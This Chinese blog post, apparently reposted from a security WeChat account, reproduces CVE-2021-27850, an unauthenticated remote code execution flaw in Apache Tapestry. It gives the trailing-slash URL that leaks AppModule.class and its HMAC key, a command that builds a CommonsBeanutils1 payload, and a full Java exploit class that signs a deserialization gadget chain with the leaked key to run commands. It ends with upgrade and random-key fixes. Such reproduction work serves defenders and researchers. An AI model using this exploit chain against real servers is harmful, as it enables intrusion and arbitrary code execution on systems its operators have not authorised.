全文共计1301个字,预计阅读时长10分钟
CVE-2021-27850 【https://github.com/kahla-sec/CVE-2021-27850_POC】
A critical unauthenticated remote code execution vulnerability was found all recent versions of Apache Tapestry. The affected versions include 5.4.5, 5.5.0, 5.6.2 and 5.7.0. The vulnerability I have found is a bypass of the fix for CVE-2019-0195. Recap: Before the fix of CVE-2019-0195 it was possible to download arbitrary class files from the classpath by providing a crafted asset file URL. An attacker was able to download the file
AppModule.class
by requesting the URLhttp://localhost:8080/assets/something/services/AppModule.class
which contains a HMAC secret key. The fix for that bug was a blacklist filter that checks if the URL ends with.class
,.properties
or.xml
. Bypass: Unfortunately, the blacklist solution can simply be bypassed by appending a/
at the end of the URL:http://localhost:8080/assets/something/services/AppModule.class/
The slash is stripped after the blacklist check and the fileAppModule.class
is loaded into the response. This class usually contains the HMAC secret key which is used to sign serialized Java objects. With the knowledge of that key an attacker can sign a Java gadget chain that leads to RCE (e.g. CommonsBeanUtils1 from ysoserial). Solution for this vulnerability: For Apache Tapestry 5.4.0 to 5.6.1, upgrade to 5.6.2 or later. For Apache Tapestry 5.7.0, upgrade to 5.7.1 or later.
可以得知,这个漏洞需要配合CVE-2019-0195
去下载class文件然后得到HmacKey
从而RCE。
但是也可以看到其局限性,就是需要key是硬编码,如果是一些random的,则不能打
复现
影响版本
version: 5.4.0 to 5.6.1
环境搭建
根据改文章,输入
mvn archetype:generate -DarchetypeCatalog=http://tapestry.apache.org
# 如果上面的报错可以输入
mvn org.apache.maven.plugins:maven-archetype-plugin:2.4:generate -DarchetypeCatalog=http://tapestry.apache.org
Getting Started - Apache Tapestry
我这里选用的是他自带的,quickstart
创建好项目之后,我们使用idea
打开,修改一下里面的tapestry
版本为漏洞所在版本,这里我修改成了5.4.0
使用以下命令启动app,然后访问30001端口即可
mvn -Djetty.port=30001 jetty:run
漏洞复现
先把poc下下来,然后在linux
进行编译
java -cp commons-codec-1.15/commons-codec-1.15.jar:. Exploit mrkaixin CommonsBeanutils1 "curl http://localhost:30001"
得到poc之后,我们通过其自带的form
表单,来触发反序列化,在form
表单中存在一个t:formdata
的属性,所以只需要替换成为Poc
即可
发现他给的这个Exp
是不能够打通的,通过查找原因偶然发现,这个思路好像在2019年的0CTF/TCTF
就出现了。
他的POC打不通的原因是在于orgapachetapestrytapestry-core5.4.5tapestry-core-5.4.5.jar!orgapachetapestry5corelibcomponentsForm.class#executeStoredActions
所以编写一个POC,详情见
import java.io.ObjectOutputStream;
"rawtypes", "unchecked"}) ({
"org:tapestry:5.4.0 to 5.6.1"}) ({
({Authors.Mrkaixin})
public class HmacKeyLeakRce extends PayloadRunner implements ObjectPayload<Object> {
public static void main(final String[] args) throws Exception {
String s = (String) new HmacKeyLeakRce().getObject(CommonsCollections1.class.getName(), args);
System.out.println(s);
}
public String getObject(String gadgetsName, boolean needBase64, String... args) throws Exception {
String key, command = null;
if (args.length < 1) {
throw new IllegalArgumentException("please add hmac key");
}
if (args.length < 2) {
System.out.println("don't have command param,default: calc.exe");
command = "calc.exe";
}else{
command = args[1];
}
key = args[0];
Class clazz = Class.forName(gadgetsName);
ObjectPayload gadgets = (ObjectPayload) clazz.newInstance();
Object obj = gadgets.getObject(command);
URLEncoder urlEncoder = new URLEncoderImpl();
ClientDataEncoder cde = new ClientDataEncoderImpl(urlEncoder, key, null, null, null);
ClientDataSink cds = cde.createSink();
ObjectOutputStream oos = cds.getObjectOutputStream();
oos.writeUTF("orich1");
oos.writeBoolean(false);
oos.writeObject(obj);
return cds.getClientData();
}
public Object getObject(String command) throws Exception {
return getObject(command, null);
}
public Object getObject(String gadgetName, String... args) throws Exception {
return getObject(gadgetName, true, args);
}
}
弹一个计算器~
修复方法
升级版本,或者是在AppModule
使用随机的hmacKey
configuration.add(SymbolConstants.HMAC_PASSPHRASE,
new BigInteger(130, new SecureRandom()).toString(32));
wx :gnosismask
本文始发于微信公众号(黑伞攻防实验室):tapestry 未授权远程命令执行漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论